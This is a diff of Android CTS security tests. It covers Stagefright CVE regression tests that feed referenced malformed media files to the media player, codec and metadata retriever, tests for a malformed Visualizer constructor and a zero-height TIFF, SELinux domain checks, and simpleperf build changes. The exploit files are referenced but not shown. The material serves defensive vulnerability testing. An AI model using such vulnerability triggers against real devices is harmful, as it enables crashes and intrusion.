-        doStagefrightTest(R.raw.bug_34031018_64bit);
+    @SecurityTest
+    public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
+        doStagefrightTest(R.raw.cve_2016_2429_b_27211885);
     }
 
     private void doStagefrightTest(final int rid) throws Exception {
         doStagefrightTestMediaPlayer(rid);
         doStagefrightTestMediaCodec(rid);
         doStagefrightTestMediaMetadataRetriever(rid);
-
-        Context context = getInstrumentation().getContext();
-        Resources resources =  context.getResources();
-        CtsTestServer server = new CtsTestServer(context);
-        String rname = resources.getResourceEntryName(rid);
-        String url = server.getAssetUrl("raw/" + rname);
-        doStagefrightTestMediaPlayer(url);
-        doStagefrightTestMediaCodec(url);
-        doStagefrightTestMediaMetadataRetriever(url);
-        server.shutdown();
     }
 
     private Surface getDummySurface() {
@@ -400,28 +393,8 @@
     }
 
     private void doStagefrightTestMediaPlayer(final int rid) throws Exception {
-        doStagefrightTestMediaPlayer(rid, null);
-    }
 
-    private void doStagefrightTestMediaPlayer(final String url) throws Exception {
-        doStagefrightTestMediaPlayer(-1, url);
-    }
-
-    private void closeQuietly(AutoCloseable closeable) {
-        if (closeable != null) {
-            try {
-                closeable.close();
-            } catch (RuntimeException rethrown) {
-                throw rethrown;
-            } catch (Exception ignored) {
-            }
-        }
-    }
-
-    private void doStagefrightTestMediaPlayer(final int rid, final String uri) throws Exception {
-
-        String name = uri != null ? uri :
-            getInstrumentation().getContext().getResources().getResourceEntryName(rid);
+        String name = getInstrumentation().getContext().getResources().getResourceEntryName(rid);
         Log.i(TAG, "start mediaplayer test for: " + name);
 
         final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
@@ -436,23 +409,16 @@
                 mp.setOnCompletionListener(mpcl);
                 Surface surface = getDummySurface();
                 mp.setSurface(surface);
-                AssetFileDescriptor fd = null;
                 try {
-                    if (uri == null) {
-                        fd = getInstrumentation().getContext().getResources()
-                                .openRawResourceFd(rid);
+                    AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+                        .openRawResourceFd(rid);
 
-                        mp.setDataSource(fd.getFileDescriptor(),
-                                         fd.getStartOffset(),
-                                         fd.getLength());
+                    mp.setDataSource(fd.getFileDescriptor(),
+                                     fd.getStartOffset(),
+                                     fd.getLength());
 
-                    } else {
-                        mp.setDataSource(uri);
-                    }
                     mp.prepareAsync();
                 } catch (Exception e) {
-                } finally {
-                    closeQuietly(fd);
                 }
 
                 Looper.loop();
@@ -469,14 +435,6 @@
     }
 
     private void doStagefrightTestMediaCodec(final int rid) throws Exception {
-        doStagefrightTestMediaCodec(rid, null);
-    }
-
-    private void doStagefrightTestMediaCodec(final String url) throws Exception {
-        doStagefrightTestMediaCodec(-1, url);
-    }
-
-    private void doStagefrightTestMediaCodec(final int rid, final String url) throws Exception {
 
         final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
 
@@ -495,7 +453,6 @@
                     mp.setDataSource(fd.getFileDescriptor(),
                                      fd.getStartOffset(),
                                      fd.getLength());
-                    fd.close();
                 } catch (Exception e) {
                     // this is a known-good file, so no failure should occur
                     fail("setDataSource of known-good file failed");
@@ -515,25 +472,15 @@
         }
 
         Resources resources =  getInstrumentation().getContext().getResources();
+        AssetFileDescriptor fd = resources.openRawResourceFd(rid);
         MediaExtractor ex = new MediaExtractor();
-        if (url == null) {
-            AssetFileDescriptor fd = resources.openRawResourceFd(rid);
-            try {
-                ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
-            } catch (IOException e) {
-                // ignore
-            } finally {
-                closeQuietly(fd);
-            }
-        } else {
-            try {
-                ex.setDataSource(url);
-            } catch (Exception e) {
-                // indicative of problems with our tame CTS test web server
-            }
+        try {
+            ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+        } catch (IOException e) {
+            // ignore
         }
         int numtracks = ex.getTrackCount();
-        String rname = url != null ? url: resources.getResourceEntryName(rid);
+        String rname = resources.getResourceEntryName(rid);
         Log.i(TAG, "start mediacodec test for: " + rname + ", which has " + numtracks + " tracks");
         for (int t = 0; t < numtracks; t++) {
             // find all the available decoders for this format
@@ -587,7 +534,6 @@
                     while (true) {
                         int flags = ex.getSampleFlags();
                         long time = ex.getSampleTime();
-                        ex.getCachedDuration();
                         int bufidx = codec.dequeueInputBuffer(5000);
                         if (bufidx >= 0) {
                             int n = ex.readSampleData(inputBuffers[bufidx], 0);
@@ -626,17 +572,7 @@
         thr.stopLooper();
         thr.join();
     }
-
     private void doStagefrightTestMediaMetadataRetriever(final int rid) throws Exception {
-        doStagefrightTestMediaMetadataRetriever(rid, null);
-    }
-
-    private void doStagefrightTestMediaMetadataRetriever(final String url) throws Exception {
-        doStagefrightTestMediaMetadataRetriever(-1, url);
-    }
-
-    private void doStagefrightTestMediaMetadataRetriever(
-            final int rid, final String url) throws Exception {
 
         final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
 
@@ -646,9 +582,8 @@
 
                 MediaPlayer mp = new MediaPlayer();
                 mp.setOnErrorListener(mpcl);
-                AssetFileDescriptor fd = null;
                 try {
-                    fd = getInstrumentation().getContext().getResources()
+                    AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
                         .openRawResourceFd(R.raw.good);
 
                     // the onErrorListener won't receive MEDIA_ERROR_SERVER_DIED until
@@ -656,7 +591,6 @@
                     mp.setDataSource(fd.getFileDescriptor(),
                                      fd.getStartOffset(),
                                      fd.getLength());
-                    fd.close();
                 } catch (Exception e) {
                     // this is a known-good file, so no failure should occur
                     fail("setDataSource of known-good file failed");
@@ -676,33 +610,22 @@
         }
 
         Resources resources =  getInstrumentation().getContext().getResources();
+        AssetFileDescriptor fd = resources.openRawResourceFd(rid);
         MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-        if (url == null) {
-            AssetFileDescriptor fd = resources.openRawResourceFd(rid);
-            try {
-                retriever.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
-            } catch (Exception e) {
-                // ignore
-            } finally {
-                closeQuietly(fd);
-            }
-        } else {
-            try {
-                retriever.setDataSource(url, new HashMap<String, String>());
-            } catch (Exception e) {
-                // indicative of problems with our tame CTS test web server
-            }
+        try {
+            retriever.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+        } catch (RuntimeException e) {
+            // ignore
         }
         retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION);
         retriever.getEmbeddedPicture();
         retriever.getFrameAtTime();
 
         retriever.release();
-        String rname = url != null ? url : resources.getResourceEntryName(rid);
+        String rname = resources.getResourceEntryName(rid);
         String cve = rname.replace("_", "-").toUpperCase();
         assertFalse("Device *IS* vulnerable to " + cve,
                     mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
         thr.stopLooper();
-        thr.join();
     }
 }
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index b06b5a1..807412b 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -19,13 +19,13 @@
 import junit.framework.TestCase;
 
 import android.content.Context;
+import android.platform.test.annotations.SecurityTest;
 import android.media.audiofx.AudioEffect;
 import android.media.MediaPlayer;
 import android.media.audiofx.Visualizer;
 import android.test.AndroidTestCase;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
-import android.security.cts.R;
 
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Method;
@@ -39,6 +39,7 @@
     }
 
     //Testing security bug: 30229821
+    @SecurityTest
     public void testVisualizer_MalformedConstructor() throws Exception {
         final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
         final int VISUALIZER_CMD_MEASURE = 0x10001;
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index f81da6b..bbc70a9 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
@@ -18,6 +18,7 @@
 
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.InputStream;
@@ -31,6 +32,7 @@
      * Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero).
      * With the fix, decoding will fail, without dividing by zero.
      */
+    @SecurityTest
     public void test_android_bug_33300701() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/security/testeffect/Android.mk b/tests/tests/security/testeffect/Android.mk
index a7e3cac..7e4ab93 100644
--- a/tests/tests/security/testeffect/Android.mk
+++ b/tests/tests/security/testeffect/Android.mk
@@ -28,5 +28,6 @@
 LOCAL_C_INCLUDES := \
   $(call include-path-for, audio-effects)
 
+LOCAL_CFLAGS := -Wno-unused-parameter
 
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/selinux/Android.mk b/tests/tests/selinux/Android.mk
new file mode 100644
index 0000000..b798d87
--- /dev/null
+++ b/tests/tests/selinux/Android.mk
@@ -0,0 +1,15 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
diff --git a/tests/tests/selinux/selinuxTargetSdk/Android.mk b/tests/tests/selinux/selinuxTargetSdk/Android.mk
new file mode 100755
index 0000000..6ab5ed7
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk/Android.mk
@@ -0,0 +1,30 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    ctstestrunner \
+    legacy-android-test
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdkTestCases
+LOCAL_SDK_VERSION := current
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/selinux/selinuxTargetSdk/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdk/AndroidManifest.xml
new file mode 100755
index 0000000..41bcaca
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.selinuxtargetsdk.cts">
+
+    <!-- This app tests that apps with targetSdkValue<=25 are placed in the
+         untrusted_app_25 selinux domain -->
+    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="25" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.selinuxtargetsdk.cts"
+                     android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
new file mode 100644
index 0000000..c29fd6c
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Permission Selinux test cases">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSelinuxTargetSdkTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.selinuxtargetsdk.cts" />
+        <option name="runtime-hint" value="2m" />
+    </test>
+</configuration>
diff --git a/tests/tests/selinux/selinuxTargetSdk/src/android/selinuxtargetsdk/cts/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk/src/android/selinuxtargetsdk/cts/SELinuxTargetSdkTest.java
new file mode 100644
index 0000000..5a2e24e
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk/src/android/selinuxtargetsdk/cts/SELinuxTargetSdkTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.selinuxtargetsdk.cts;
+
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.SmallTest;
+import java.io.BufferedReader;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.IOException;
+
+/**
+ * Verify the selinux domain for apps running with targetSdkVersion<=25
+ */
+public class SELinuxTargetSdkTest extends AndroidTestCase
+{
+    static String getFile(String filename) throws IOException {
+        BufferedReader in = null;
+        try {
+            in = new BufferedReader(new FileReader(filename));
+            return in.readLine().trim();
+        } finally {
+            if (in != null) {
+                in.close();
+            }
+        }
+    }
+
+    /**
+     * Verify that selinux context is the expected domain based on
+     * targetSdkVersion,
+     */
+    @SmallTest
+    public void testTargetSdkValue() throws IOException {
+        String context = getFile("/proc/self/attr/current");
+        String expected = "u:r:untrusted_app_25:s0";
+        assertEquals("Untrusted apps with targetSdkVersion<=25 " +
+                "must run in the untrusted_app_25 selinux domain.",
+                context.substring(0, expected.length()),
+                expected);
+    }
+
+}
diff --git a/tests/tests/selinux/selinuxTargetSdk2/Android.mk b/tests/tests/selinux/selinuxTargetSdk2/Android.mk
new file mode 100755
index 0000000..b3f386e
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk2/Android.mk
@@ -0,0 +1,30 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    ctstestrunner \
+    legacy-android-test
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdk2TestCases
+LOCAL_SDK_VERSION := current
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/selinux/selinuxTargetSdk2/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdk2/AndroidManifest.xml
new file mode 100755
index 0000000..cde1249
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk2/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.selinuxtargetsdk2.cts">
+
+    <!-- This app tests that apps with current targetSdkValue are placed in the
+         untrusted_app selinux domain -->
+    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="10000" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.selinuxtargetsdk2.cts"
+                     android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
new file mode 100644
index 0000000..fe515f6
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Permission Selinux test cases">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSelinuxTargetSdk2TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.selinuxtargetsdk2.cts" />
+        <option name="runtime-hint" value="2m" />
+    </test>
+</configuration>
diff --git a/tests/tests/selinux/selinuxTargetSdk2/src/android/selinuxtargetsdk2/cts/SELinuxTargetSdk2Test.java b/tests/tests/selinux/selinuxTargetSdk2/src/android/selinuxtargetsdk2/cts/SELinuxTargetSdk2Test.java
new file mode 100644
index 0000000..6c480e5
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk2/src/android/selinuxtargetsdk2/cts/SELinuxTargetSdk2Test.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.selinuxtargetsdk2.cts;
+
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.SmallTest;
+import java.io.BufferedReader;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.IOException;
+import java.util.Scanner;
+
+/**
+ * Verify the selinux domain for apps running with current targetSdkVersion
+ */
+public class SELinuxTargetSdk2Test extends AndroidTestCase
+{
+    static String getFile(String filename) throws IOException {
+        BufferedReader in = null;
+        try {
+            in = new BufferedReader(new FileReader(filename));
+            return in.readLine().trim();
+        } finally {
+            if (in != null) {
+                in.close();
+            }
+        }
+    }
+
+    private static String getProperty(String property)
+            throws IOException {
+        Process process = new ProcessBuilder("getprop", property).start();
+        Scanner scanner = null;
+        String line = "";
+        try {
+            scanner = new Scanner(process.getInputStream());
+            line = scanner.nextLine();
+        } finally {
+            if (scanner != null) {
+                scanner.close();
+            }
+        }
+        return line;
+    }
+
+    /**
+     * Verify that net.dns properties may not be read
+     */
+    @SmallTest
+    public void testNoDns() throws IOException {
+        String[] dnsProps = {"net.dns1", "net.dns2", "net.dns3", "net.dns4"};
+        for(int i = 0; i < dnsProps.length; i++) {
+            String dns = getProperty(dnsProps[i]);
+            assertEquals("DNS properties may not be readable by apps past " +
+                    "targetSdkVersion 26", dns, "");
+        }
+    }
+
+    /**
+     * Verify that selinux context is the expected domain based on
+     * targetSdkVersion,
+     */
+    @SmallTest
+    public void testTargetSdkValue() throws IOException {
+        String context = getFile("/proc/self/attr/current");
+        String expected = "u:r:untrusted_app:s0";
+        assertEquals("Untrusted apps with current targetSdkVersion " +
+                "must run in the untrusted_app selinux domain.",
+                context.substring(0, expected.length()),
+                expected);
+    }
+}
diff --git a/tests/tests/simpleperf/Android.mk b/tests/tests/simpleperf/Android.mk
index 040e153..c7f2afb 100644
--- a/tests/tests/simpleperf/Android.mk
+++ b/tests/tests/simpleperf/Android.mk
@@ -1,36 +1,42 @@
 LOCAL_PATH := $(call my-dir)
 
-test_executable := CtsSimpleperfTestCases
-list_executable := $(test_executable)_list
 simpleperf_src_path := system/extras/simpleperf
 
 LLVM_ROOT_PATH := external/llvm
 include $(LLVM_ROOT_PATH)/llvm.mk
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := $(test_executable)
+LOCAL_MODULE := CtsSimpleperfTestCases
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
-LOCAL_SHARED_LIBRARIES += \
-  libbacktrace \
-  libunwind \
-  libbase \
-  liblog \
-  libutils \
-  libLLVM \
-
 LOCAL_WHOLE_STATIC_LIBRARIES = \
   libsimpleperf_cts_test \
 
 LOCAL_STATIC_LIBRARIES += \
-  libgtest \
   libbacktrace_offline \
+  libbacktrace \
+  libunwind \
   libziparchive \
   libz \
+  libgtest \
+  libbase \
+  libcutils \
+  liblog \
+  libprocinfo \
+  libutils \
   liblzma \
+  libLLVMObject \
+  libLLVMBitReader \
+  libLLVMMC \
+  libLLVMMCParser \
+  libLLVMCore \
+  libLLVMSupport \
+  libprotobuf-cpp-lite \
+  libevent \
+  libc \
 
 LOCAL_POST_LINK_CMD =  \
   TMP_FILE=`mktemp $(OUT_DIR)/simpleperf-post-link-XXXXXXXXXX` && \
@@ -41,35 +47,9 @@
 LOCAL_COMPATIBILITY_SUITE := cts
 
 LOCAL_CTS_TEST_PACKAGE := android.simpleperf
+LOCAL_FORCE_STATIC_EXECUTABLE := true
+include $(LLVM_DEVICE_BUILD_MK)
 include $(BUILD_CTS_EXECUTABLE)
 
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := $(list_executable)
-LOCAL_MODULE_HOST_OS := linux
-LOCAL_MULTILIB := first
-LOCAL_LDLIBS = -lrt
-
-LOCAL_WHOLE_STATIC_LIBRARIES += \
-  libsimpleperf_cts_test \
-
-LOCAL_STATIC_LIBRARIES += \
-  libbacktrace_offline \
-  libbacktrace \
-  libunwind \
-  libziparchive-host \
-  libz \
-  liblzma \
-  libbase \
-  liblog \
-  libcutils \
-  libutils \
-  libLLVMObject \
-  libLLVMBitReader \
-  libLLVMMC \
-  libLLVMMCParser \
-  libLLVMCore \
-  libLLVMSupport \
-
-include $(LLVM_HOST_BUILD_MK)
-include $(BUILD_HOST_NATIVE_TEST)
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/simpleperf/AndroidTest.xml b/tests/tests/simpleperf/AndroidTest.xml
index dc8246d..098afc4 100644
--- a/tests/tests/simpleperf/AndroidTest.xml
+++ b/tests/tests/simpleperf/AndroidTest.xml
@@ -19,6 +19,10 @@
         <option name="push" value="CtsSimpleperfTestCases->/data/local/tmp/CtsSimpleperfTestCases" />
         <option name="append-bitness" value="true" />
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSimpleperfDebugApp.apk" />
+    </target_preparer>
     <test class="com.android.tradefed.testtype.GTest" >
         <option name="native-test-device-path" value="/data/local/tmp" />
         <option name="module-name" value="CtsSimpleperfTestCases" />
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
new file mode 100644
index 0000000..bce9921
--- /dev/null
+++ b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, .)
+
+LOCAL_MANIFEST_FILE := AndroidManifest.xml
+
+LOCAL_PACKAGE_NAME := CtsSimpleperfDebugApp
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml b/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml
new file mode 100644
index 0000000..b3509c8
--- /dev/null
+++ b/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.simpleperf">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+    <instrumentation
+        android:targetPackage="com.android.simpleperf"
+        android:name="android.support.test.runner.AndroidJUnitRunner" />
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/com/android/simpleperf/EmptyTest.java b/tests/tests/simpleperf/CtsSimpleperfDebugApp/com/android/simpleperf/EmptyTest.java
new file mode 100644
index 0000000..b4bee68
--- /dev/null
+++ b/tests/tests/simpleperf/CtsSimpleperfDebugApp/com/android/simpleperf/EmptyTest.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.simpleperf;
